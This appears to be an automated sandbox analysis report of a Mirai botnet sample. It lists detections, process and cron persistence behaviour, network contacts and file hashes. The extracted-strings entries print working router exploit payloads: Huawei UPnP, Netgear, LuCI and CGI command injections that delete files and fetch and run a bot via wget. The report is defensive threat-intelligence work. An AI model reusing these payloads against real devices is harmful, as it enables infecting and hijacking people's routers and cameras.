Joe Sandbox Cloud Basic Analysis Report
Edit tour

Linux Analysis Report
l7vmra.elf

Overview

General Information

Sample name:l7vmra.elf
Analysis ID:1639622
MD5:8974f11970282ec404a5f8da73df0202
SHA1:cc4049443610532ba292bd2e93b41fbf396dab94
SHA256:5a07134aaeb550d0d56c19c4887c4b489593f7662803fe8d0cc650f82f3f139b
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:80
Range:0 - 100

Signatures

Multi AV Scanner detection for submitted file
Yara detected Mirai
Executes the "crontab" command typically for achieving persistence
Sample tries to persist itself using cron
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
HTTP GET or POST without a user agent
Reads the 'hosts' file potentially containing internal network hosts
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample contains strings that are potentially command strings
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious

General Information

Joe Sandbox version:42.0.0 Malachite
Analysis ID:1639622
Start date and time:2025-03-16 01:43:02 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 3m 51s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:l7vmra.elf
Detection:MAL
Classification:mal80.troj.linELF@0/2@1/0
  • Connection to analysis system has been lost, crash info: Unknown
  • VT rate limit hit for: conn.masjesu.zip

Runtime Messages

Command:/tmp/l7vmra.elf
PID:5404
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:

Standard Error:no crontab for root

Process Tree

  • system is lnxubuntu20
  • l7vmra.elf (PID: 5404, Parent: 5329, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/l7vmra.elf
    • l7vmra.elf New Fork (PID: 5406, Parent: 5404)
      • sh (PID: 5408, Parent: 5406, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "crontab -l"
        • sh New Fork (PID: 5414, Parent: 5408)
        • crontab (PID: 5414, Parent: 5408, MD5: 66e521d421ac9b407699061bf21806f5) Arguments: crontab -l
      • sh (PID: 5415, Parent: 5406, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "crontab -"
        • sh New Fork (PID: 5420, Parent: 5415)
        • crontab (PID: 5420, Parent: 5415, MD5: 66e521d421ac9b407699061bf21806f5) Arguments: crontab -
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
l7vmra.elfJoeSecurity_Mirai_4Yara detected MiraiJoe Security
    l7vmra.elfJoeSecurity_Mirai_6Yara detected MiraiJoe Security
      l7vmra.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security

        Suricata Signatures

        ⊘No Suricata rule has matched

        Joe Sandbox Signatures

        • • AV Detection
        • • Networking
        • • System Summary
        • • Persistence and Installation Behavior
        • • Malware Analysis System Evasion
        • • Stealing of Sensitive Information
        • • Remote Access Functionality

        Click to jump to signature section

        Show All Signature Results

        AV Detection

        barindex
        Source: l7vmra.elfVirustotal: Detection: 50%Perma Link
        Source: l7vmra.elfReversingLabs: Detection: 50%
        Source: global trafficHTTP traffic detected: GET /.shell HTTP/1.1Host: 37.44.238.92Connection: close
        Source: /tmp/l7vmra.elf (PID: 5423)Reads hosts file: /etc/hostsJump to behavior
        Source: global trafficHTTP traffic detected: GET /.shell HTTP/1.1Host: 37.44.238.92Connection: close
        Source: global trafficDNS traffic detected: DNS query: conn.masjesu.zip
        Source: l7vmra.elfString found in binary or memory: http://purenetworks.com/HNAP1/
        Source: l7vmra.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
        Source: l7vmra.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 48422
        Source: unknownNetwork traffic detected: HTTP traffic on port 48422 -> 443
        Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g %s -l /tmp/huawei -r /spim;chmod -x huawei;/tmp/huawei huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
        Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g %s -l /tmp/huawei -r /spim;chmod -x huawei;/tmp/huawei huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /UD/act?1 HTTP/1.1
        Source: Initial samplePotential command found: GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://%s/spim+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
        Source: Initial samplePotential command found: GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://%s/l7vmra;sh${IFS}/tmp/l7vmra&>r&&tar${IFS}/string.js HTTP/1.0
        Source: Initial samplePotential command found: GET /shell?cd+/tmp;rm+-rf+*;wget+http://%s/l7vmra;chmod+777+l7vmra;/tmp/l7vmra HTTP/1.1
        Source: Initial samplePotential command found: GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s/spim;${IFS}sh${IFS}/var/tmp/spim
        Source: Initial samplePotential command found: GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s/l7vmra;chmod+777+l7vmra;/tmp/l7vmra
        Source: Initial samplePotential command found: GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F%s%2Fbins.sh%3B%20chmod%20777%20bins.sh%3B%20.%2Fbins.sh) HTTP/1.1
        Source: Initial samplePotential command found: GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s/spim;${IFS}sh${IFS}/var/tmp/spimGET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s/l7vmra;chmod+777+l7vmra;/tmp/l7vmraGET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F%s%2Fbins.sh%3B%20chmod%20777%20bins.sh%3B%20.%2Fbins.sh) HTTP/1.1
        Source: Initial samplePotential command found: GET /.shell HTTP/1.1
        Source: Initial samplePotential command found: GET / HTTP/1.1
        Source: classification engineClassification label: mal80.troj.linELF@0/2@1/0

        Persistence and Installation Behavior

        barindex
        Source: /bin/sh (PID: 5414)Crontab executable: /usr/bin/crontab -> crontab -lJump to behavior
        Source: /bin/sh (PID: 5420)Crontab executable: /usr/bin/crontab -> crontab -Jump to behavior
        Source: /usr/bin/crontab (PID: 5420)File: /var/spool/cron/crontabs/tmp.QCZT91Jump to behavior
        Source: /usr/bin/crontab (PID: 5420)File: /var/spool/cron/crontabs/rootJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/5388/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/5389/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/230/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/110/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/231/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/111/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/232/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/112/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/233/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/113/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/234/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/114/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/235/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/115/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/236/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/116/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/237/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/117/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/238/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/118/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/239/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/119/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/3633/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/914/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/10/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/917/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/11/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/12/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/13/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/14/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/15/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/16/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/17/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/18/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/3772/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/19/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/240/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/3095/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/120/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/241/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/121/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/242/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/1/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/122/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/243/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/2/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/123/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/244/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/3/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/124/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/245/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/1588/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/125/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/4/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/246/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/126/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/5/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/247/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/127/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/6/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/248/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/128/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/7/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/249/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/129/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/8/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/800/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/9/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/1906/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/802/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/803/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/20/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/21/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/22/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/23/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/24/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/25/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/26/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/27/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/28/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/29/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/3420/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/1482/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/490/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/1480/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/250/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/371/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/130/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/251/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/131/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/252/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/132/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/253/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/254/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/1238/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/134/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/255/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/256/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/257/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/378/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/3413/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/258/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/259/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/1475/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5425)File opened: /proc/936/cmdlineJump to behavior
        Source: /tmp/l7vmra.elf (PID: 5408)Shell command executed: sh -c "crontab -l"Jump to behavior
        Source: /tmp/l7vmra.elf (PID: 5415)Shell command executed: sh -c "crontab -"Jump to behavior
        Source: submitted sampleStderr: no crontab for root: exit code = 0
        Source: /tmp/l7vmra.elf (PID: 5404)Queries kernel information via 'uname': Jump to behavior
        Source: /tmp/l7vmra.elf (PID: 5423)Queries kernel information via 'uname': Jump to behavior
        Source: l7vmra.elf, 5404.1.0000562e98916000.0000562e98a44000.rw-.sdmp, l7vmra.elf, 5406.1.0000562e98916000.0000562e98a44000.rw-.sdmpBinary or memory string: .V!/etc/qemu-binfmt/arm
        Source: l7vmra.elf, 5404.1.0000562e98916000.0000562e98a44000.rw-.sdmp, l7vmra.elf, 5406.1.0000562e98916000.0000562e98a44000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
        Source: l7vmra.elf, 5404.1.00007ffd76a95000.00007ffd76ab6000.rw-.sdmp, l7vmra.elf, 5406.1.00007ffd76a95000.00007ffd76ab6000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
        Source: l7vmra.elf, 5404.1.00007ffd76a95000.00007ffd76ab6000.rw-.sdmp, l7vmra.elf, 5406.1.00007ffd76a95000.00007ffd76ab6000.rw-.sdmpBinary or memory string: ex86_64/usr/bin/qemu-arm/tmp/l7vmra.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/l7vmra.elf

        Stealing of Sensitive Information

        barindex
        Source: Yara matchFile source: l7vmra.elf, type: SAMPLE

        Remote Access Functionality

        barindex
        Source: Yara matchFile source: l7vmra.elf, type: SAMPLE

        Mitre Att&ck Matrix

        ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
        Gather Victim Identity Information1
        Scripting        		Valid Accounts1
        Command and Scripting Interpreter        		1
        Scheduled Task/Job        		1
        Scheduled Task/Job        		Direct Volume Access1
        OS Credential Dumping        		11
        Security Software Discovery        		Remote ServicesData from Local System1
        Encrypted Channel        		Exfiltration Over Other Network MediumAbuse Accessibility Features
        CredentialsDomainsDefault Accounts1
        Scheduled Task/Job        		1
        Scripting        		Boot or Logon Initialization ScriptsRootkitLSASS Memory1
        File and Directory Discovery        		Remote Desktop ProtocolData from Removable Media2
        Non-Application Layer Protocol        		Exfiltration Over BluetoothNetwork Denial of Service
        Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)Obfuscated Files or InformationSecurity Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared Drive3
        Application Layer Protocol        		Automated ExfiltrationData Encrypted for Impact
        Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin HookBinary PaddingNTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput Capture1
        Ingress Tool Transfer        		Traffic DuplicationData Destruction

        Malware Configuration

        ⊘No configs have been found

        Behavior Graph

        Hide Legend

        Legend:

        • Process
        • Signature
        • Created File
        • DNS/IP Info
        • Is Dropped
        • Number of created Files
        • Is malicious
        • Internet
        behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1639622 Sample: l7vmra.elf Startdate: 16/03/2025 Architecture: LINUX Score: 80 31 37.44.238.92, 443, 48422, 49486 HARMONYHOSTING-ASFR France 2->31 33 conn.masjesu.zip 2->33 35 Multi AV Scanner detection for submitted file 2->35 37 Yara detected Mirai 2->37 9 l7vmra.elf 2->9         started        signatures3 process4 process5 11 l7vmra.elf 9->11         started        13 l7vmra.elf 9->13         started        process6 15 l7vmra.elf sh 11->15         started        17 l7vmra.elf sh 11->17         started        19 l7vmra.elf 13->19         started        21 l7vmra.elf 13->21         started        process7 23 sh crontab 15->23         started        27 sh crontab 17->27         started        file8 29 /var/spool/cron/crontabs/tmp.QCZT91, ASCII 23->29 dropped 39 Sample tries to persist itself using cron 23->39 41 Executes the "crontab" command typically for achieving persistence 23->41 signatures9

        Antivirus, Machine Learning and Genetic Malware Detection

        Initial Sample

        SourceDetectionScannerLabelLink
        l7vmra.elf50%VirustotalBrowse
        l7vmra.elf50%ReversingLabsLinux.Backdoor.Mirai

        Dropped Files

        ⊘No Antivirus matches

        Domains

        ⊘No Antivirus matches

        URLs

        SourceDetectionScannerLabelLink
        http://37.44.238.92/.shell100%Avira URL Cloudmalware

        Domains and IPs

        Download Network PCAP: filtered – full

        Contacted Domains

        NameIPActiveMaliciousAntivirus DetectionReputation
        conn.masjesu.zip
        		77.90.153.218
        		truefalse
          		unknown

          Contacted URLs

          NameMaliciousAntivirus DetectionReputation
          http://37.44.238.92/.shellfalse
          • Avira URL Cloud: malware
          		unknown
          NameSourceMaliciousAntivirus DetectionReputation
          http://schemas.xmlsoap.org/soap/encoding/l7vmra.elffalse
            		high
            http://purenetworks.com/HNAP1/l7vmra.elffalse
              		high
              http://schemas.xmlsoap.org/soap/envelope/l7vmra.elffalse
                		high

                World Map of Contacted IPs

                • No. of IPs < 25%
                • 25% < No. of IPs < 50%
                • 50% < No. of IPs < 75%
                • 75% < No. of IPs

                Public IPs

                IPDomainCountryFlagASNASN NameMalicious
                37.44.238.92
                		unknownFrance
                		49434HARMONYHOSTING-ASFRfalse

                Joe Sandbox View / Context

                IPs

                ⊘No context

                Domains

                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                conn.masjesu.zipLkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240
                doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230
                wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240
                m1TuocfCMhon01ZDYjxrTEWsmYdVD8FZ4k.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240
                k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240
                Dqq4ar4kvW6h1hNPHQtQWcKevZo4vyLFys.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230
                CP0BHTY83T9LhjWEQcsk2nqqVKWqC0ETyy.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230
                E6YB1KcrN7wzwnBqPdocv7WXvnyB5TROSX.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240

                ASNs

                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                HARMONYHOSTING-ASFRgigab.mips.elfGet hashmaliciousGafgytBrowse
                • 37.44.238.66
                gigab.spc.elfGet hashmaliciousGafgytBrowse
                • 37.44.238.66
                gigab.arm5.elfGet hashmaliciousGafgytBrowse
                • 37.44.238.66
                gigab.arm4.elfGet hashmaliciousGafgytBrowse
                • 37.44.238.66
                gigab.x86.elfGet hashmaliciousGafgytBrowse
                • 37.44.238.66
                gigab.ppc.elfGet hashmaliciousGafgytBrowse
                • 37.44.238.66
                gigab.sh4.elfGet hashmaliciousGafgytBrowse
                • 37.44.238.66
                gigab.arm4t.elfGet hashmaliciousGafgytBrowse
                • 37.44.238.66
                gigab.i686.elfGet hashmaliciousGafgytBrowse
                • 37.44.238.66
                gigab.arm6.elfGet hashmaliciousGafgytBrowse
                • 37.44.238.66

                JA3 Fingerprints

                ⊘No context

                Dropped Files

                ⊘No context

                Created / dropped Files

                Process:/tmp/l7vmra.elf
                File Type:data
                Category:dropped
                Size (bytes):16
                Entropy (8bit):3.625
                Encrypted:false
                SSDEEP:3:Tgc7w5:Tgc7w5
                MD5:71E882EA6E88CE79B45B81707340D9C4
                SHA1:B3134933F99178A1F376F1F39405D456A0E55E30
                SHA-256:7455698A7AA09C895135671B3512D205BC89F10EC44FA56110FFDD3EDD7B0CCF
                SHA-512:18C8B6C3F8543B53C43B18D69E78F7A2F5289C3E8E241519598F0354EDF9B7A83E5BB89E1C4E971CEFBE2BD617F898D3FD73846C468A47884284840CC1FA668B
                Malicious:false
                Reputation:low
                Preview:/tmp/l7vmra.elf.
                Process:/usr/bin/crontab
                File Type:ASCII text
                Category:dropped
                Size (bytes):210
                Entropy (8bit):5.125587249968806
                Encrypted:false
                SSDEEP:6:SUrpqoqQjEOP1KmREJOBFQrvTV5iGMQ5UYLtCFt3eQTbHvn:8QjHig8N5UeHLUeQTbHv
                MD5:799151042B0FE93569B3888238644514
                SHA1:DD1C40123C15913645A873943C975AEEDDB034BB
                SHA-256:1AA8AA08C8128C76A8312ADE76ACE6DE4568CD51EE0961EDB4E96F75CA826A2A
                SHA-512:40ED408CDC2D249FB08D57BFC2D85F83A053C49776B30938D19F177789AD4F30940663C457C9076B6CC4F0453CA6F1D974D8FED7A2B2A2923B2DA8467F1C1A21
                Malicious:true
                Reputation:low
                Preview:# DO NOT EDIT THIS FILE - edit the master and reinstall..# (- installed on Sat Mar 15 19:43:46 2025).# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $).*/15 * * * * /usr/lib/ld-unix.so.2.

                Static File Info

                General

                File type:ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
                Entropy (8bit):5.955120504896891
                TrID:
                • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                File name:l7vmra.elf
                File size:168'191 bytes
                MD5:8974f11970282ec404a5f8da73df0202
                SHA1:cc4049443610532ba292bd2e93b41fbf396dab94
                SHA256:5a07134aaeb550d0d56c19c4887c4b489593f7662803fe8d0cc650f82f3f139b
                SHA512:cc11afd96d19d872274ec19ba59bcb2b265c97a81532654f44751648ec0b625ca912f3a488e606a9d05ac20d8fb8e8b78d1f63e4bbd2813cd3452e29ae8f6be4
                SSDEEP:3072:PJtid2ng8w4YMrgUqqdaODUvI7UhTIyU2be6CXuVyZM/9h9XKvr:BtiGGqaODUvI4hc2bvCXuVoM/9PXwr
                TLSH:0CF33A05EA40874BC1D227B6FBDB424E33329B94B7DB331559289FB43BC6B994E36106
                File Content Preview:.ELF..............(.........4....-......4. ...(........p.....>...>.. ... ...........................$...$...........................l....7..........................................Q.td..................................-...L..................G.F.G.F.G.F.G.

                Network Behavior

                Download Network PCAP: filtered – full

                Network Port Distribution

                • Total Packets: 9
                • • 443 (HTTPS)
                • • 80 (HTTP)
                • • 53 (DNS)
                TimestampSource PortDest PortSource IPDest IP
                Mar 16, 2025 01:43:48.271644115 CET48422443192.168.2.1337.44.238.92
                Mar 16, 2025 01:43:48.271692991 CET4434842237.44.238.92192.168.2.13
                Mar 16, 2025 01:43:48.271739006 CET48422443192.168.2.1337.44.238.92
                Mar 16, 2025 01:43:48.273864985 CET4948680192.168.2.1337.44.238.92
                Mar 16, 2025 01:43:48.279978991 CET804948637.44.238.92192.168.2.13
                Mar 16, 2025 01:43:48.280067921 CET4948680192.168.2.1337.44.238.92
                Mar 16, 2025 01:43:48.282210112 CET4948680192.168.2.1337.44.238.92
                Mar 16, 2025 01:43:48.288505077 CET804948637.44.238.92192.168.2.13
                Mar 16, 2025 01:44:09.755003929 CET804948637.44.238.92192.168.2.13
                Mar 16, 2025 01:44:09.755918026 CET4948680192.168.2.1337.44.238.92
                Mar 16, 2025 01:44:09.761075020 CET804948637.44.238.92192.168.2.13
                Mar 16, 2025 01:45:11.735639095 CET48422443192.168.2.1337.44.238.92
